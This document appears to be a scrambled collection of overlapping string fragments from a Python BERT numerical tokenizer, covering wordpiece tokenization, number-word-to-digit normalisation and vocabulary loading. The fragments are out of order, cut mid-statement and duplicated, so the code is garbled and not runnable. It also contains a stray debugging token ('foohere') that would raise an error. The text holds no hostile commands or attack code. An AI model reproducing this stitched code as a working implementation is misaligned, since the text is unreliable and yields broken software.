_is_whitespace(char): output.append(\" \") else: output.append(char) return \"\".join(output) class WordpieceTokenizer(object):", "1 else: new_words.append(words[i]) sigs.append('') if i == len(words) - 2:", "in a token (string/unicode) using the vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token)", "= str(text2num(words[i:j])) if sigfigs[i] == '': out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i])", "= { 'thousand': 1000.0, 'million': 1000000.0, 'billion': 1000000000.0, 'trillion': 1000000000000.0,", "have set \" \"`do_lower_case` to False. We are setting `do_lower_case=True`", "models now, but it doesn't # matter since the English", "tokenization.\"\"\" def __init__(self, vocab, unk_token, unk_num, max_input_chars_per_word=100): self.vocab = vocab", "None while start < end: substr = \"\".join(chars[start:end]) if start", "(cp >= 91 and cp <= 96) or (cp >=", "in range(len(words)-1): if words_lower[i] == 'a' and words_lower[i+1] in Magnitude_with_hundred:", "piece of text.\"\"\" if never_split is not None and text", "sent] # n = 0 # g = 0 mantissa", "self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num)", "vocabulary file into a dictionary.\"\"\" vocab = collections.OrderedDict() with open(vocab_file,", "os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\", encoding=\"utf-8\") as writer: for token,", "unk_token, unk_num, max_input_chars_per_word=100): self.vocab = vocab self.unk_token = unk_token self.unk_num", "'six': 6.0, 'seven': 7.0, 'eight': 8.0, 'nine': 9.0, 'ten': 10.0,", "def preprocess(sent, remove_pos=False, never_split=None): \"\"\" Preprocess the sentence by: .", "True return False ################ # Small = { 'zero': 0.0,", "a greedy longest-match-first algorithm to perform tokenization using the given", "== 0: mantissa = Small.get(word, None) if mantissa is None:", "2.0, 'three': 3.0, 'four': 4.0, 'five': 5.0, 'six': 6.0, 'seven':", "n): return zip(*[sentence[i:] for i in range(n)]) def check_int(s): if", "Args: **vocab_file**: Path to a one-wordpiece-per-line vocabulary file **do_lower_case**: (`optional`)", "return [] tokens = text.split() return tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\"", "likely be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token,", "of token not to split. \"\"\" if never_split is None:", "and normalize number words to digits. :param sent: sentence (str)", "in whitespace_tokenize(text): chars = list(token) if len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token)", "of wordpiece tokens. \"\"\" output_tokens = [] numeric_values = []", "numeric_masks.append(numeric_mask) if numeric_value != self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if numeric_value", "from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs): \"\"\" Instantiate a BertNumericalTokenizer from pre-trained", ":class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization: punctuation splitting + wordpiece Args: vocab_file:", "an uncased model but you have set \" \"`do_lower_case` to", "We are setting `do_lower_case=False` for you but \" \"you may", "ANY KIND, either express or implied. # See the License", "not to split. \"\"\" never_split = self.never_split + (never_split if", "== \"\\r\": return True cat = unicodedata.category(char) if cat ==", "{hundred,thousand,million,...}\" for i in range(len(words)-1): if words_lower[i] == 'a' and", "writer.write(token + u'\\n') index += 1 return (vocab_file,) @classmethod def", "\"\"\" Given a sentence, perform preprocessing and normalize number words", "the sentence's preprocessed list of words that should be passed", "the License. # You may obtain a copy of the", "Chinese # words in the English Wikipedia.). if self.tokenize_chinese_chars: text", "numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens)", "words that should be passed into text2num. \"\"\" if remove_pos:", "len(split_sigfigs) if get_sigfigs: return split_sigfigs return split_tokens def _convert_token_to_id(self, token):", "should have already been passed through `BasicTokenizer`. Returns: A list", "BasicTokenizer(do_lower_case=True, never_split=never_split) words = tokenizer.tokenize(sent) # sent = ' '.join(tokens)", "[] for char in text: cp = ord(char) if self._is_chinese_char(cp):", "# See the License for the specific language governing permissions", "\"\"\" if never_split is None: never_split = [] self.do_lower_case =", "vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens): \"\"\" Converts a", "def _clean_text(self, text): \"\"\"Performs invalid character removal and whitespace cleanup", "_clean_text(self, text): \"\"\"Performs invalid character removal and whitespace cleanup on", "= collections.OrderedDict() with open(vocab_file, \"r\", encoding=\"utf-8\") as reader: tokens =", "= [word.lower() for word in sent] # n = 0", "def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs a BasicTokenizer. Args:", "whitespace_tokenize(\" \".join(split_tokens)) return output_tokens def _run_strip_accents(self, text): \"\"\"Strips accents from", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased': 512, 'bert-large-uncased': 512,", "as \"^\", \"$\", and \"`\" are not in the Unicode", "'nine': 9.0, 'ten': 10.0, 'eleven': 11.0, 'twelve': 12.0, 'thirteen': 13.0,", "1000.0, 'million': 1000000.0, 'billion': 1000000000.0, 'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion':", "_is_whitespace(char): \"\"\"Checks whether `chars` is a whitespace character.\"\"\" # \\t,", "i += 1 return new_words, sigs # ​ # def", "'sixty': 60.0, 'seventy': 70.0, 'eighty': 80.0, 'ninety': 90.0 } Magnitude", "do_split = True elif i == len(chars)-1: do_split = True", "new_word = new_word[:-2] try: if new_word not in ['infinity', 'inf',", "\" or char == \"\\t\" or char == \"\\n\" or", "get_values: return numeric_values assert len(split_tokens) == len(numeric_values) == len(split_sigfigs) if", "a number break except NumberException: if j == i+1: out_sigfigs.append('-1')", "not kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are loading is", "list of words that should be passed into text2num. \"\"\"", "'bert-base-cased-finetuned-mrpc': 512, } def load_vocab(vocab_file): \"\"\"Loads a vocabulary file into", "remove_pos: words = [word[:word.rfind('_')] for word in sent.strip().split()] else: words", "or char == \"\\t\" or char == \"\\n\" or char", "vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\", encoding=\"utf-8\") as writer:", "None) if mantissa is None: try: mantissa = float(word) except", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "self.unk_num: print(sub_token, numeric_value) foohere if get_numeric_masks: return numeric_masks if get_values:", "all of the other languages. if ((cp >= 0x4E00 and", "= [] i = 0 while i < len(words): for", "= 'one' # convert \"24 {Magnitude}\" -> 24000000000000 (mix of", "_run_split_on_punc(self, text, never_split=None): \"\"\"Splits punctuation on a piece of text.\"\"\"", "def _is_punctuation(char): \"\"\"Checks whether `chars` is a punctuation character.\"\"\" cp", "2000) . remove endings from ordinal numbers (2nd -> 2)", "Only has an effect when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean (default", "writing, software # distributed under the License is distributed on", "value (if specified) and the underlying BERT model's sequence length.", "return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): \"\"\"Converts an index (integer)", "(cp >= 0x2A700 and cp <= 0x2B73F) or # (cp", "can be handled by text2num function . convert \"digit digitword\"", "= mantissa*magnitude else: # non-number word raise NumberException(\"Unknown number: \"+word)", "126)): return True cat = unicodedata.category(char) # if cat.startswith(\"P\") and", "words in the English Wikipedia.). if self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text)", "one-wordpiece-per-line vocabulary file **do_lower_case**: (`optional`) boolean (default True) Whether to", "`chars` is a control character.\"\"\" # These are technically control", "mantissa = 0 # number = 0.0 for i, word", "96) or (cp >= 123 and cp <= 126)): return", "word in sent.strip().split()] else: words = [word for word in", "47) or (cp >= 58 and cp <= 64) or", "19.0, 'twenty': 20.0, 'thirty': 30.0, 'forty': 40.0, 'fifty': 50.0, 'sixty':", "list of normalized words from the sentence \"\"\" out_words =", "unk_token self.unk_num = unk_num self.default_value = 1.0 self.max_input_chars_per_word = max_input_chars_per_word", "to check this behavior.\") kwargs['do_lower_case'] = True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path,", "if never_split is not None else []) text = self._clean_text(text)", "numbers (2nd -> 2) . convert \"a {hundred,thousand...}\" to \"one", "a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization: punctuation splitting + wordpiece", "1.0, 'two': 2.0, 'three': 3.0, 'four': 4.0, 'five': 5.0, 'six':", "'').strip() return out_string def save_vocabulary(self, vocab_path): \"\"\"Save the tokenizer vocabulary", "words = [word[:word.rfind('_')] for word in sent.strip().split()] else: words =", "a sequence of tokens (string) in a single string. \"\"\"", "(token, sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token, numeric_value, numeric_mask) in", "pretrained \" \"model use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file)", "(see :func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\" never_split", "\"\"\"Save the tokenizer vocabulary to a directory or file.\"\"\" index", "Katakana. Those alphabets are used to write # space-separated words,", "on a piece of text.\"\"\" if never_split is not None", "boolean (default True) Whether to lower case the input Only", "is also applied to the English models now, but it", "\"you may want to check this behavior.\") kwargs['do_lower_case'] = False", "the multilingual and Chinese # models. This is also applied", "# despite its name. The modern Korean Hangul alphabet is", "(`optional`) boolean (default True) Whether to do basic tokenization before", "Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token,", "try: if token not in ['infinity', 'inf', 'nan']: numeric_value =", "self.default_value = 1.0 self.max_input_chars_per_word = max_input_chars_per_word def tokenize(self, text): \"\"\"Tokenizes", "[] tokens = text.split() return tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs", "sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs a BertNumericalTokenizer. Args:", "'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512, 'bert-base-german-cased': 512,", "cp != 46: if cat.startswith(\"P\"): return True return False ################", "{words_lower[i+1]}') i += 1 else: new_words.append(words[i]) sigs.append('') if i ==", "cur_substr = None while start < end: substr = \"\".join(chars[start:end])", "'ninety': 90.0 } Magnitude = { 'thousand': 1000.0, 'million': 1000000.0,", "has an effect when do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean (default True)", "range(len(words)-1): if words_lower[i] == 'a' and words_lower[i+1] in Magnitude_with_hundred: words[i]", "length to truncate tokenized sequences to; Effective maximum length is", "wordpiece. **never_split**: (`optional`) list of string List of tokens which", "words to digits. :param sent: sentence (str) :return: a list", "return True return False def _clean_text(self, text): \"\"\"Performs invalid character", "artificial maximum length to truncate tokenized sequences to; Effective maximum", "an int after preprocessing Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred'] = 100", "numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values) == len(output_tokens)", "if start_new_word: output.append([]) start_new_word = False output[-1].append(char) i += 1", "never_split = self.never_split + (never_split if never_split is not None", "(cp >= 0x2B740 and cp <= 0x2B81F) or # (cp", "numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens))", "'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512,", "the vocabulary because Wikipedia does have some Chinese # words", "!= self.default_value and sub_token != self.unk_num: print(sub_token, numeric_value) foohere if", "== 0xfffd or _is_control(char): continue if _is_whitespace(char): output.append(\" \") else:", "Numerical Tokenization of a piece of text. Args: **never_split**: (`optional`)", "self.never_split + (never_split if never_split is not None else [])", "2000 and remove endings from ordinal numbers for i in", "= 0 sub_tokens = [] while start < len(chars): try:", "chars = list(text) i = 0 start_new_word = True output", "cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs a BertNumericalTokenizer. Args: **vocab_file**: Path", "maximum length is always the minimum of this value (if", "the vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens): \"\"\" Converts", "are not treated specially and handled # like the all", "0x9FFF) or # (cp >= 0x3400 and cp <= 0x4DBF)", "numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values) == len(output_tokens) == len(numeric_mask) return", ":func:`PreTrainedTokenizer.tokenize`) List of token not to split. **tokenize_chinese_chars**: (`optional`) boolean", "for the multilingual and Chinese # models. This is also", "# These are technically control characters but we count them", "None: is_bad = True break sub_tokens.append(cur_substr) start = end if", "**tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to tokenize Chinese characters.", "not in pretrained_model_name_or_path and not kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model", "'-cased' not in pretrained_model_name_or_path and not kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained", "ASCII as punctuation. # Characters such as \"^\", \"$\", and", "1 return (vocab_file,) @classmethod def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs): \"\"\"", "= None while start < end: substr = \"\".join(chars[start:end]) if", "(see :func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\" if", "0: do_split = True elif i == len(chars)-1: do_split =", "consistency. if ((cp >= 33 and cp <= 47) or", "__init__(self, vocab, unk_token, unk_num, max_input_chars_per_word=100): self.vocab = vocab self.unk_token =", "cat = unicodedata.category(char) # if cat.startswith(\"P\") and cp != 46:", "to do basic tokenization before wordpiece. max_len: An artificial maximum", "= self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text) split_tokens = [] for token", "from ordinal numbers (2nd -> 2) . convert \"a {hundred,thousand...}\"", "text, never_split=None): \"\"\"Splits punctuation on a piece of text.\"\"\" if", "or file.\"\"\" index = 0 if os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path,", "self.unk_num = '[UNK_NUM]' self.default_value = 1.0 never_split = ['[UNK_NUM]'] self.ids_to_tokens", "_is_whitespace(char): output.append(\" \") else: output.append(char) return \"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs", "= Small.get(word, None) if mantissa is None: try: mantissa =", "else: split_sigfigs.append('-1') if numeric_value != self.default_value and sub_token != self.unk_num:", "numeric_mask) def _is_whitespace(char): \"\"\"Checks whether `chars` is a whitespace character.\"\"\"", "def _convert_token_to_id(self, token): \"\"\" Converts a token (str/unicode) in an", "get_numeric_masks=None): split_tokens = [] numeric_values = [] numeric_masks = []", "the CJK Unicode block is NOT all Japanese and Korean", "an effect when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether", "and not kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are loading", "512, } def load_vocab(vocab_file): \"\"\"Loads a vocabulary file into a", "\") output.append(char) output.append(\" \") else: output.append(char) return \"\".join(output) def _is_chinese_char(self,", "60.0, 'seventy': 70.0, 'eighty': 80.0, 'ninety': 90.0 } Magnitude =", "[] self.do_lower_case = do_lower_case self.never_split = never_split def tokenize(self, text,", "def _tokenize_chinese_chars(self, text): \"\"\"Adds whitespace around any CJK character.\"\"\" output", "splitting on a piece of text.\"\"\" text = text.strip() if", "= PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\",", "model you are loading is an uncased model but you", "if j == i+1: out_sigfigs.append('-1') out_words.append(words[i]) i += 1 assert", "text2num function . convert \"digit digitword\" (24 hundred) -> 2400", "len(words) - 2: new_words.append(words[i+1]) sigs.append('') i += 1 return new_words,", "load the vocabulary from a Google pretrained \" \"model use", "not None and text in never_split: return [text] chars =", "+= 1 return (vocab_file,) @classmethod def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs):", "except: ValueError is_number = False end = len(chars) cur_substr =", "12.0, 'thirteen': 13.0, 'fourteen': 14.0, 'fifteen': 15.0, 'sixteen': 16.0, 'seventeen':", "= [word for word in sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split)", "# words in the English Wikipedia.). if self.tokenize_chinese_chars: text =", "import collections import logging import os import sys import unicodedata", "len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad = False", "kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are loading is an", "split_tokens, split_sigfigs = normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs =", "in never_split: return [text] chars = list(text) i = 0", "the minimum of this value (if specified) and the underlying", "whitespace character.\"\"\" # \\t, \\n, and \\r are technically contorl", "# ​ # def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\" Given a", "while i < len(words)-1: if check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred:", "English models were not trained on any Chinese data #", "__init__(self, do_lower_case=True, never_split=None): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**: Whether", ":func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\" if never_split", "have some Chinese # words in the English Wikipedia.). if", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "in pretrained_model_name_or_path and not kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you", "class NumericalTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower casing, etc.).\"\"\"", "from transformers import PreTrainedTokenizer logger = logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file':", "token (string/unicode) using the vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self,", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "100 # convert \"a {hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\" for i", "remove endings from ordinal numbers (2nd -> 2) . convert", "new_word except ValueError: pass # only modify this word if", "coding=utf-8 # Copyright 2018 The Google AI Language Team Authors", "as whitespace since they are generally considered as such. if", "accents from a piece of text.\"\"\" text = unicodedata.normalize(\"NFD\", text)", "This is also applied to the English models now, but", "and Chinese # models. This is also applied to the", "1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, } class NumberException(Exception): def __init__(self, msg): Exception.__init__(self,", "splitting + wordpiece Args: vocab_file: Path to a one-wordpiece-per-line vocabulary", "\"\"\" # digits = '0123456789' # punctuation = '$%' #", "not in the Unicode # Punctuation class but we treat", "# (cp >= 0x2B820 and cp <= 0x2CEAF) or (cp", "kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are loading is a", "True return False def _is_control(char): \"\"\"Checks whether `chars` is a", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split is None: never_split = [] self.do_lower_case", "text, get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens = [] numeric_values = []", "j-1 # skip this sequence since we replaced it with", "i = j-1 # skip this sequence since we replaced", "if cat == \"Zs\": return True return False def _is_control(char):", "in ('-', '+'): return s[1:].isdigit() return s.isdigit() def preprocess(sent, remove_pos=False,", "digits and words) new_words = [] sigs = [] i", "start < len(chars): try: if token not in ['infinity', 'inf',", "vocab[token] = index return vocab def whitespace_tokenize(text): \"\"\"Runs basic whitespace", "'thirteen': 13.0, 'fourteen': 14.0, 'fifteen': 15.0, 'sixteen': 16.0, 'seventeen': 17.0,", "WordPieceTokenizer. Args: **never_split**: (`optional`) list of str Kept for backward", "is_number = False except: ValueError is_number = False end =", "check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}')", "'million': 1000000.0, 'billion': 1000000000.0, 'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0,", "do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case,", "single string. \"\"\" out_string = ' '.join(tokens).replace(' ##', '').strip() return", "== \"Mn\": continue output.append(char) return \"\".join(output) def _run_split_on_punc(self, text, never_split=None):", "True) Whether to do basic tokenization before wordpiece. **never_split**: (`optional`)", "\" \"but you may want to check this behavior.\") kwargs['do_lower_case']", "basic tokenization before wordpiece. max_len: An artificial maximum length to", "_convert_id_to_token(self, index): \"\"\"Converts an index (integer) in a token (string/unicode)", "in ['infinity', 'inf', 'nan']: numeric_value = float(token) is_number = True", "find a vocabulary file at path '{}'. To load the", "specified) and the underlying BERT model's sequence length. never_split: List", "return output_tokens def _run_strip_accents(self, text): \"\"\"Strips accents from a piece", "text) output = [] for char in text: cat =", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "0 sub_tokens = [] while start < len(chars): try: if", "(if specified) and the underlying BERT model's sequence length. never_split:", "never_split=None): \"\"\" Basic Tokenization of a piece of text. Split", "pre-trained vocabulary files. \"\"\" if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased'", "of str Kept for backward compatibility purposes. Now implemented directly", "self.default_value and sub_token != self.unk_num: print(sub_token, numeric_value) foohere if get_numeric_masks:", "max_input_chars_per_word def tokenize(self, text): \"\"\"Tokenizes a piece of text into", "such as \"^\", \"$\", and \"`\" are not in the", "token): \"\"\" Converts a token (str/unicode) in an id using", "cp <= 126)): return True cat = unicodedata.category(char) # if", "<gh_stars>1-10 # coding=utf-8 # Copyright 2018 The Google AI Language", "check this behavior.\") kwargs['do_lower_case'] = False elif '-cased' not in", "specific language governing permissions and # limitations under the License.", "data in them (there are Chinese # characters in the", "True return False def _is_punctuation(char): \"\"\"Checks whether `chars` is a", "s.isdigit() def preprocess(sent, remove_pos=False, never_split=None): \"\"\" Preprocess the sentence by:", "the codepoint of a CJK character.\"\"\" # This defines a", "remove_pos, never_split) out_sigfigs = [] i = 0 while i", "around any CJK character.\"\"\" output = [] for char in", "if cur_substr is None: is_bad = True break sub_tokens.append(cur_substr) start", "in them (there are Chinese # characters in the vocabulary", "Only has an effect when do_wordpiece_only=False \"\"\" vocab_files_names = VOCAB_FILES_NAMES", "i == len(chars)-1: do_split = True else: if not chars[i-1].isdigit():", "`chars` is a punctuation character.\"\"\" cp = ord(char) # We", "`tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file) self.unk_num = '[UNK_NUM]' self.default_value", "cp == 0xfffd or _is_control(char): continue if _is_whitespace(char): output.append(\" \")", "else: output.append(char) return \"\".join(output) def _is_chinese_char(self, cp): \"\"\"Checks whether CP", "################ # Small = { 'zero': 0.0, 'one': 1.0, 'two':", "return len(self.vocab) def _tokenize(self, text, get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens =", "self.unk_token) def convert_tokens_to_string(self, tokens): \"\"\" Converts a sequence of tokens", "space-separated words, so they are not treated specially and handled", "unk_num self.default_value = 1.0 self.max_input_chars_per_word = max_input_chars_per_word def tokenize(self, text):", "considered as such. if char == \" \" or char", "added on November 1st, 2018 for the multilingual and Chinese", "output = [\"un\", \"##aff\", \"##able\"] Args: text: A single token", "of the other languages. if ((cp >= 0x4E00 and cp", "in sent.strip().split()] elif type(sent) is list: words = [word.lower() for", "None: try: mantissa = float(word) except ValueError: raise NumberException(\"First must", "commas from numbers (2,000 -> 2000) . remove endings from", "= NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars)", "separated tokens. This should have already been passed through `BasicTokenizer`.", "or # (cp >= 0x3400 and cp <= 0x4DBF) or", "# only modify this word if it's an int after", "print(sub_token, numeric_value) foohere if get_numeric_masks: return numeric_masks if get_values: return", "\"chinese character\" as anything in the CJK Unicode block: #", "= \"##\" + substr if substr in self.vocab and is_number", "is a different block, # as is Japanese Hiragana and", "\"$\", and \"`\" are not in the Unicode # Punctuation", "BasicTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower casing, etc.).\"\"\" def", "effect when do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean (default True) Whether to", "elif i == len(chars)-1: do_split = True else: if not", "word in enumerate(words): if i == 0: mantissa = Small.get(word,", "# you may not use this file except in compliance", "of sorts\") elif i != 0: magnitude = Magnitude.get(word, None)", "<= 0xFAFF) or # (cp >= 0x2F800 and cp <=", "return split_tokens def _convert_token_to_id(self, token): \"\"\" Converts a token (str/unicode)", "technically control characters but we count them as whitespace #", "= '0123456789' # punctuation = '$%' # text = self._clean_text(text)", "words = [word.lower() for word in sent.strip().split()] elif type(sent) is", "load_vocab(vocab_file): \"\"\"Loads a vocabulary file into a dictionary.\"\"\" vocab =", "{'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased':", "them as punctuation anyways, for # consistency. if ((cp >=", "return split_sigfigs return split_tokens def _convert_token_to_id(self, token): \"\"\" Converts a", "class but we treat them as punctuation anyways, for #", "# non-number word raise NumberException(\"Unknown number: \"+word) return mantissa def", "permissions and # limitations under the License. \"\"\"Tokenization classes.\"\"\" from", "= preprocess(sent, remove_pos, never_split) out_sigfigs = [] i = 0", "tokenization, see WordPieceTokenizer. Args: **never_split**: (`optional`) list of str Kept", "Magnitude_with_hundred['hundred'] = 100 # convert \"a {hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\"", "for you but \" \"you may want to check this", "Punctuation class but we treat them as punctuation anyways, for", "is_bad = True break sub_tokens.append(cur_substr) start = end if is_number:", "{ 'bert-base-uncased': 512, 'bert-large-uncased': 512, 'bert-base-cased': 512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased':", "do basic tokenization before wordpiece. max_len: An artificial maximum length", "if sigfigs[i] == '': out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "setting `do_lower_case=False` for you but \" \"you may want to", "< end: substr = \"\".join(chars[start:end]) if start > 0: substr", "'st', 'nd')): new_word = new_word[:-2] try: if new_word not in", "unicodedata.category(char) if cat == \"Zs\": return True return False def", "ValueError is_number = False end = len(chars) cur_substr = None", "+= 1 return new_words, sigs # ​ # def normalize_numbers_in_sent(sent,", "likely be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split", "numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value != self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if", "WordPiece tokenization.\"\"\" def __init__(self, vocab, unk_token, unk_num, max_input_chars_per_word=100): self.vocab =", "start > 0: substr = \"##\" + substr if substr", "if s[0] in ('-', '+'): return s[1:].isdigit() return s.isdigit() def", "= \"unaffable\" output = [\"un\", \"##aff\", \"##able\"] Args: text: A", "output_tokens = [] numeric_values = [] numeric_mask = [] for", "piece of text.\"\"\" text = unicodedata.normalize(\"NFD\", text) output = []", "= [] i = 0 while i < len(words)-1: if", "output.append(char) return \"\".join(output) def _run_split_on_punc(self, text, never_split=None): \"\"\"Splits punctuation on", "wordpiece. max_len: An artificial maximum length to truncate tokenized sequences", "\"\"\" Basic Numerical Tokenization of a piece of text. Args:", "cat = unicodedata.category(char) if cat == \"Mn\": continue output.append(char) return", "under the Apache License, Version 2.0 (the \"License\"); # you", "# models. This is also applied to the English models", "if check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]}", "0x2FA1F)): # return True return False def _clean_text(self, text): \"\"\"Performs", "\"\"\"Checks whether CP is the codepoint of a CJK character.\"\"\"", "etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs a BasicTokenizer.", "of normalized words from the sentence \"\"\" out_words = []", "of token not to split. \"\"\" never_split = self.never_split +", "for char in text: cat = unicodedata.category(char) if cat ==", "raise NumberException(\"First must be a number of sorts\") elif i", "cat == \"Mn\": continue output.append(char) return \"\".join(output) 